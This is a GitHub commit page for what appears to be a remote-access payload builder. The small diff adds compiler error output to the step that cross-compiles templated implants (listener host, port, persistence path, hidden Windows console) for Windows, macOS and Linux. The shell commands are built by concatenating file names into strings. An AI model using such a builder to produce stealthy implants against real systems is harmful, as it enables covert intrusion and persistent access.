Skip to content

Commit

Permalink
Add support to show error message when compiling
Browse files Browse the repository at this point in the history
  • Loading branch information
tiagorlampert committed Apr 9, 2019
1 parent cd3b2cd commit b51ceee
Showing 1 changed file with 12 additions and 6 deletions.
18 changes: 12 additions & 6 deletions src/ui/ui.go
Expand Up @@ -152,36 +152,42 @@ func StartMenu() {

fmt.Println("")
fmt.Println(c.GREEN, "[*] Compiling...")
exec.Command("sh", "-c", "GOOS=windows GOARCH=386 go build -ldflags \"-s -w -H=windowsgui\" -o \"build/"+osTarget+"/"+fileName+"/"+fileName+osTargetExt+"\" build/"+osTarget+"/"+fileName+"/"+fileName+".go").Output()
cmd := exec.Command("sh", "-c", "GOOS=windows GOARCH=386 go build -ldflags \"-s -w -H=windowsgui\" -o \"build/"+osTarget+"/"+fileName+"/"+fileName+osTargetExt+"\" build/"+osTarget+"/"+fileName+"/"+fileName+".go")

output, _ := cmd.CombinedOutput()

if util.CheckIfFileExist("build/" + osTarget + "/" + fileName + "/" + fileName + osTargetExt) {
fmt.Println(c.GREEN, "[*] Generated at build/"+osTarget+"/"+fileName+"/"+fileName+osTargetExt)
} else {
fmt.Println(c.RED, "[!] File not found! There's a problem with compiling.")
fmt.Println(c.RED, "[!] File not found! There's a problem with compiling. "+string(output))
}
} else if osTarget == "MacOS" {
util.TemplateTextReplace(p.LHost, lport, fileName, pathPersistence, fileName, osTarget)

fmt.Println("")
fmt.Println(c.GREEN, "[*] Compiling...")
exec.Command("sh", "-c", "go build -ldflags \"-s -w\" -o \"build/"+osTarget+"/"+fileName+"/"+fileName+osTargetExt+"\" build/"+osTarget+"/"+fileName+"/"+fileName+".go").Output()
cmd := exec.Command("sh", "-c", "go build -ldflags \"-s -w\" -o \"build/"+osTarget+"/"+fileName+"/"+fileName+osTargetExt+"\" build/"+osTarget+"/"+fileName+"/"+fileName+".go")

output, _ := cmd.CombinedOutput()

if util.CheckIfFileExist("build/" + osTarget + "/" + fileName + "/" + fileName + osTargetExt) {
fmt.Println(c.GREEN, "[*] Generated at build/"+osTarget+"/"+fileName+"/"+fileName+osTargetExt)
} else {
fmt.Println(c.RED, "[!] File not found! There's a problem with compiling.")
fmt.Println(c.RED, "[!] File not found! There's a problem with compiling. "+string(output))
}
} else if osTarget == "Linux" {
util.TemplateTextReplace(p.LHost, lport, fileName+".exe", pathPersistence, fileName, osTarget)

fmt.Println("")
fmt.Println(c.GREEN, "[*] Compiling...")
exec.Command("sh", "-c", "go build -ldflags \"-s -w\" -o \"build/"+osTarget+"/"+fileName+"/"+fileName+osTargetExt+"\" build/"+osTarget+"/"+fileName+"/"+fileName+".go").Output()
cmd := exec.Command("sh", "-c", "go build -ldflags \"-s -w\" -o \"build/"+osTarget+"/"+fileName+"/"+fileName+osTargetExt+"\" build/"+osTarget+"/"+fileName+"/"+fileName+".go")

output, _ := cmd.CombinedOutput()

if util.CheckIfFileExist("build/" + osTarget + "/" + fileName + "/" + fileName + osTargetExt) {
fmt.Println(c.GREEN, "[*] Generated at build/"+osTarget+"/"+fileName+"/"+fileName+osTargetExt)
} else {
fmt.Println(c.RED, "[!] File not found! There's a problem with compiling.")
fmt.Println(c.RED, "[!] File not found! There's a problem with compiling. "+string(output))
}
}

Expand Down

0 comments on commit b51ceee

Please sign in to comment.